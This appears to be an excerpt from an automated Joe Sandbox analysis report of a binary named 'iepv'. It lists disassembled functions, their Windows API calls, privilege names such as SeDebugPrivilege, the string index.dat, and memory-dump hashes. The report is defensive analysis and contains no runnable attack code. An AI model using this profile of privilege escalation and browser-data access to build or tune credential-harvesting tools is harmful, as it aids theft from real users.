Part of subcall function 0040BFA0: LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 0040BFEF
Part of subcall function 0040BFA0: GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 0040C015
Part of subcall function 0040BFA0: AdjustTokenPrivileges.KERNELBASE(?,00000000,00000001,00000000,00000000,00000000), ref: 0040C026
Part of subcall function 0040BFA0: GetLastError.KERNEL32(00000000), ref: 0040C028
Part of subcall function 0040BFA0: CloseHandle.KERNELBASE(?), ref: 0040C033

FreeLibrary.KERNEL32(00000000,SeBackupPrivilege,SeRestorePrivilege,SeDebugPrivilege), ref: 00409EA4

Strings

SeBackupPrivilege, xrefs: 00409E8E
SeDebugPrivilege, xrefs: 00409E74
SeRestorePrivilege, xrefs: 00409E81

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: AddressErrorLastProc$AdjustCloseCurrentFreeHandleLibraryLookupPrivilegePrivilegesProcessTokenValue
String ID: SeBackupPrivilege$SeDebugPrivilege$SeRestorePrivilege
API String ID: 1186303178-2063704729
Opcode ID: c39a57303e2dcd7e791885a6256a434993ab449bfce4c4de97d775ddd86f6816
Instruction ID: 424e39be73d6100c90b7e44ed4ec4fb37d7a288e5393288de226c7397ddeed65
Opcode Fuzzy Hash: c39a57303e2dcd7e791885a6256a434993ab449bfce4c4de97d775ddd86f6816
Instruction Fuzzy Hash: 1FE09A7055420DFADB08EB62DD47B8D7278EB00709F6004BAA000B21E59BBD6F689A9C

Function 0040CB91 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040CBBA

Part of subcall function 00405D12: sprintf.MSVCRT ref: 00405D4A
Part of subcall function 00405D12: memcpy.MSVCRT(?,00000000,00000003,00000000,%2.2X ,?), ref: 00405D5D

WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 0040CBDE
memset.MSVCRT ref: 0040CBF6
GetPrivateProfileStringA.KERNEL32(?,?,0040E470,?,00002000,?), ref: 0040CC14

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: PrivateProfileStringmemset$Writememcpysprintf
String ID:
API String ID: 3143880245-0
Opcode ID: 811eac5832e1390f9312074c2025befa3d07c45165691015435f79f1b47e9c0c
Instruction ID: 61a01d79d0c38afbf18374fb8b23c117523dbbac9e0e7ac8a13b7f9b4d6ad9ad
Opcode Fuzzy Hash: 811eac5832e1390f9312074c2025befa3d07c45165691015435f79f1b47e9c0c
Instruction Fuzzy Hash: 4E11E372900228AFEF155F64DC89E9B3B69EF04344F100076FA09B2092D6359964CBA8

Function 0040CE24 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,?), ref: 0040CE31
SizeofResource.KERNEL32(?,00000000), ref: 0040CE42
LoadResource.KERNEL32(?,00000000), ref: 0040CE52
LockResource.KERNEL32(00000000), ref: 0040CE5D

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 75b82ee2afe7d3503b758f8299bc546419afb6964919b7572ede41b5c4e7535f
Instruction ID: 9d247ce79723760bef1392c1a966872d04c3c50bb978bd77b7b350caf2936939
Opcode Fuzzy Hash: 75b82ee2afe7d3503b758f8299bc546419afb6964919b7572ede41b5c4e7535f
Instruction Fuzzy Hash: EA01C432600215EFCB194F56DD8995F7F9EEB85390704C136E809EA271D774C810CAD8

Function 00409732 Relevance: 4.6, APIs: 3, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 004085DD: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004085FF
Part of subcall function 004085DD: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00408694

GetStdHandle.KERNEL32(000000F5), ref: 00409757
CloseHandle.KERNELBASE(?), ref: 0040984A
SetCursor.USER32 ref: 00409856

Part of subcall function 0040548F: CreateFileA.KERNELBASE(00000002,40000000,00000001,00000000,00000002,00000000,00000000,004095DB,00000000), ref: 004054A1

Part of subcall function 004054EC: GetLastError.KERNEL32 ref: 004054FC
Part of subcall function 004054EC: sprintf.MSVCRT ref: 00405524
Part of subcall function 004054EC: MessageBoxA.USER32(?,?,Error,00000030), ref: 0040553D

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Handle$??2@??3@CloseCreateCursorErrorFileLastMessagesprintf
String ID:
API String ID: 3976026410-0
Opcode ID: 3ec1295a7d23fb20ca59bfd635dcb7240a0cc71ea91f5bed571e3bf4b17c1ade
Instruction ID: 1fd2cf4f868221cd8e5376e14e07cf60bda6352084dba89875c8c524ee2be8da
Opcode Fuzzy Hash: 3ec1295a7d23fb20ca59bfd635dcb7240a0cc71ea91f5bed571e3bf4b17c1ade
Instruction Fuzzy Hash: A5416232610100EBDB256F69C988B9F77B5AF45321F21446AF446B73E2CB789D80CB18

Function 00406A29 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

;k@, xrefs: 00406A3C
index.dat, xrefs: 00406A85

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: strlen$FileFindFirst
String ID: ;k@$index.dat
API String ID: 2516927864-3649366552
Opcode ID: 358f8c5c7c82daf82593cc25d8059e0e4fd8a016a767248c66992a1bf2dde3ef
Instruction ID: e53b20a2827c34f246cd8cb1df9afdee6a57a968a8ea5e85fd39d2dfd86dbec5
Opcode Fuzzy Hash: 358f8c5c7c82daf82593cc25d8059e0e4fd8a016a767248c66992a1bf2dde3ef
Instruction Fuzzy Hash: 9601963190162C5DCF20E7658C017DA77B89B15305F1181FBB806B21C1DB389B558FAA

Function 00406AC2 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406AE2

Part of subcall function 0040CCAF: RegCloseKey.ADVAPI32(?,?,?,00406B01,?,?,00000104,?), ref: 0040CCEF

Strings

:, xrefs: 00406B01
:, xrefs: 00406B0B

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: Closememset
String ID: :$:
API String ID: 2732369425-3780739392
Opcode ID: 8c3508ec9aea650201ac757f06dab352662364cf1105d935cd1811f48ca154aa
Instruction ID: d5b43d1bdddb0f3543c83bf4e5e7cd6aa53e09a9d76f36242e1da3e87a1288bc
Opcode Fuzzy Hash: 8c3508ec9aea650201ac757f06dab352662364cf1105d935cd1811f48ca154aa
Instruction Fuzzy Hash: 46F0A9B19082A899DF619A15CC417C67FB85F51308F0440FAD9CDB91C6C6B86AC9CB65

Function 00405708 Relevance: 3.8, APIs: 3, Instructions: 38COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00405724
memcpy.MSVCRT(00000000,00000000,?,00000000,?,0040295B,00000001,?,?,00000000,00401BF3,?), ref: 0040573C
free.MSVCRT ref: 00405745

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: freemallocmemcpy
String ID:
API String ID: 3056473165-0
Opcode ID: 62c4af55305529f409e0bea1128188acda5818f3ef7132d5372e6b59438fdacf
Instruction ID: 4204a681243c151887bf5a025ea2ecca069ec2e95ee5ad48d59c4fbeff38a6aa
Opcode Fuzzy Hash: 62c4af55305529f409e0bea1128188acda5818f3ef7132d5372e6b59438fdacf
Instruction Fuzzy Hash: AAF08972A056119FCB08AA79A98585B739DEF44324B11483FF514E72C2D738AC44DF68

Function 004058BD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

Part of subcall function 0040579F: memset.MSVCRT ref: 004057A9
Part of subcall function 0040579F: _mbscpy.MSVCRT(?,?,?,00000000,0000003C,?,?,0040109D,MS Sans Serif,0000000A,00000001), ref: 004057E9

CreateFontIndirectA.GDI32(?), ref: 004058DB

Strings

Arial, xrefs: 004058C7

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: CreateFontIndirect_mbscpymemset
String ID: Arial
API String ID: 3853255127-493054409
Opcode ID: 1475a2599611ba5e21b7c36d255b81c75028fc7fc182827917e312dffb651d24
Instruction ID: d0421fbc028c2d2d7161884e1009b6c32f17e61fe4a3a6cab89604017957388c
Opcode Fuzzy Hash: 1475a2599611ba5e21b7c36d255b81c75028fc7fc182827917e312dffb651d24
Instruction Fuzzy Hash: 81D0C960D4020DB6E604B6A1FD4BF49B76C5B00704F504831B941F61E1AAF4A1158699

Function 0040CC39 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetPrivateProfileIntA.KERNEL32(?,?,?,?), ref: 0040CC60

Part of subcall function 0040CB45: memset.MSVCRT ref: 0040CB63
Part of subcall function 0040CB45: _itoa.MSVCRT ref: 0040CB7A
Part of subcall function 0040CB45: WritePrivateProfileStringA.KERNEL32(?,?,00000000), ref: 0040CB89

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: PrivateProfile$StringWrite_itoamemset
String ID:
API String ID: 4165544737-0
Opcode ID: b9946992e16449c93204427860f5bd2c5f6b941805b55aa7f7a6f4de4f9adaeb
Instruction ID: 525d1b5333d9bc9d1c2bfd393fbb628b7be0876f54a79b076e459529c23fafa1
Opcode Fuzzy Hash: b9946992e16449c93204427860f5bd2c5f6b941805b55aa7f7a6f4de4f9adaeb
Instruction Fuzzy Hash: 88E0B632004209EBDF125F85ED01AA97B76FF04315F148969FA5C15160D33295B0EB84

Function 00405476 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000003,80000000,00000001,00000000,00000003,00000000,00000000,00402A1C,9+@,00000001,00000000,?,00402B39), ref: 00405488

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 76eb41ef98c2c5641d3abcf42bcff8ef1eb90f0748ddb7ccec5cb06513cf706a
Instruction ID: 6cc17ecc0e63add31f30c7be5c96cb6e6d50dce7e189e56331532518d042fa2d
Opcode Fuzzy Hash: 76eb41ef98c2c5641d3abcf42bcff8ef1eb90f0748ddb7ccec5cb06513cf706a
Instruction Fuzzy Hash: D5C092B0260200BEFE214B12AE15F36255DE740700F2008647E10F40E0C1A14D208525

Function 0040548F Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000002,40000000,00000001,00000000,00000002,00000000,00000000,004095DB,00000000), ref: 004054A1

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fbde9cd00fe5eff3766847e957dcecaf9640c7a61364f5c27615867091559b50
Instruction ID: 69dfb5ecf65624069a56b7d842b5eb645239c70c77c1b81269cf5ee0886f4079
Opcode Fuzzy Hash: fbde9cd00fe5eff3766847e957dcecaf9640c7a61364f5c27615867091559b50
Instruction Fuzzy Hash: 48C092F0260200BEFE204B12AE0AF37255DE780700F1048607A10E40E0C2A14C108525

Function 00406491 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?,004063A7,?,?,?,00000000,00402B0C,?,?,?,?), ref: 0040649B

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 571febb4c9117fa6e2e56abce36b66c01aacd5c5f760bc13c6d008cbdab551c8
Instruction ID: 787eb9efbf0ebf0b4d30fb47fd0eb3d90729e22c384964ea5156421acb3fcbf6
Opcode Fuzzy Hash: 571febb4c9117fa6e2e56abce36b66c01aacd5c5f760bc13c6d008cbdab551c8
Instruction Fuzzy Hash: 19C048301105019AE62C5B389C5942A76A0AE493343A50F6CA0F3A20E1E77894A28A08

Function 0040C8A3 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,0040C8C6), ref: 0040C8AF

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 738ff6e65df157840b9e3526bb30d1cb88ea11130717a0abe25991770deb834c
Instruction ID: 5a87ee5de1accfd3d1346c83d84d08fc20fb9a256ad619443e5e62a78e09debb
Opcode Fuzzy Hash: 738ff6e65df157840b9e3526bb30d1cb88ea11130717a0abe25991770deb834c
Instruction Fuzzy Hash: 89C04C351107018BF7219B12C949753B3E4AB00317F40C869955A95494D77CE454CF18

Function 0040CEAA Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

EnumResourceNamesA.KERNEL32(?,?,Function_0000CE24,00000000), ref: 0040CEB9

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 9b69f4405ee7bceacd210861de9929361b8f47e7f5b745cdf287a2ae3b80fe65
Instruction ID: a509d141f3c30914f5d5577e3380947a12cb56614181ed463bd12314e25f5cfc
Opcode Fuzzy Hash: 9b69f4405ee7bceacd210861de9929361b8f47e7f5b745cdf287a2ae3b80fe65
Instruction Fuzzy Hash: F5C09B31154341D7C7019F10CD05F1B76D5FB58705F104C397161A40E0D7B144249606

Function 00405759 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,00403409,?,?,?,?,00000000,00402C40,?), ref: 0040575D

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 423b3543d23d905c1eb81c7593e2c8edc8dbd98a56069c9372583ff1f61cd85b
Instruction ID: dcdad8297477f55eff4f6dd966050ac13875044b2d9d182873d2844fa248ead6
Opcode Fuzzy Hash: 423b3543d23d905c1eb81c7593e2c8edc8dbd98a56069c9372583ff1f61cd85b
Instruction Fuzzy Hash: 5CB092752200004BCA0807349D8904D35906B48721B200B28B063D40E0D7308860AA00

Function 004061BD Relevance: 1.4, APIs: 1, Instructions: 125COMMON

Download Yara Rule

APIs

Part of subcall function 00405F72: free.MSVCRT ref: 00405F75
Part of subcall function 00405F72: free.MSVCRT ref: 00405F7D

free.MSVCRT ref: 0040627E

Part of subcall function 0040609F: free.MSVCRT ref: 004060AE

Part of subcall function 00405708: malloc.MSVCRT ref: 00405724
Part of subcall function 00405708: memcpy.MSVCRT(00000000,00000000,?,00000000,?,0040295B,00000001,?,?,00000000,00401BF3,?), ref: 0040573C
Part of subcall function 00405708: free.MSVCRT ref: 00405745

Memory Dump Source

Source File: 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1765158183.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000411000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000413000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765185281.0000000000417000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765319247.0000000000418000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.1765350773.000000000041A000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_iepv.jbxd

Similarity

API ID: free$mallocmemcpy
String ID:
API String ID: 3401966785-0
Opcode ID: 8b5e8f0689b70730765747be11f963899eb1e8a025482a5f5190dc96ffae25fd
Instruction ID: e5a7c9e5946f31c6abdfc8041d783d09298c05f7c1d7196976ea6ac68c26f342
Opcode Fuzzy Hash: 8b5e8f0689b70730765747be11f963899eb1e8a025482a5f5190dc96ffae25fd
Instruction Fuzzy Hash: AE414975D002099FCB20EF99C48059EBBB2BB49324F2541BFD856B7381C738AE96CB55

Non-executed Functions

Function 00403C66 Relevance: 19.7, APIs: 13, Instructions: 228memoryencryptionCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,0000000C,00000005,-000000F4,?,00000000), ref: 00403CA0
memset.MSVCRT ref: 00403CC0
memset.MSVCRT ref: 00403CDB

Part of subcall function 00403923: memset.MSVCRT ref: 0040393E
Part of subcall function 00403923: _snprintf.MSVCRT ref: 004039A5

memset.MSVCRT ref: 00403D14
memset.MSVCRT ref: 00403D30
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,0000003F,?,?,?,?,?,?), ref: 00403D4C
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,000000FF,?,?,?,?,?,?), ref: 00403D66

Part of subcall function 0040381F: wcslen.MSVCRT ref: 00403845
Part of subcall function 0040381F: wcslen.MSVCRT ref: 0040385C

Part of subcall function 00403A7B: GetFileSize.KERNEL32(00000000,00000000,000000D0,?,00000000), ref: 00403AA2
Part of subcall function 00403A7B: memset.MSVCRT ref: 00403ACA
Part of subcall function 00403A7B: CloseHandle.KERNEL32(00000000), ref: 00403AE3
Part of subcall function 00403A7B: memset.MSVCRT ref: 00403B02
Part of subcall function 00403A7B: memcpy.MSVCRT(?,?,00000010,?,00000000,00000027), ref: 00403B14
Part of subcall function 00403A7B: memset.MSVCRT ref: 00403B64
Part of subcall function 00403A7B: memset.MSVCRT ref: 00403B78
Part of subcall function 00403A7B: memcpy.MSVCRT(?,?,00000300,?,?,?,?,?,?), ref: 00403BA4

memcmp.MSVCRT(?,?,00000014,?,00000001,0040323B,?,00000002,-000000D3,?,000000D0,?,?,?,?,?), ref: 00403E3E
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?), ref: 00403E4F
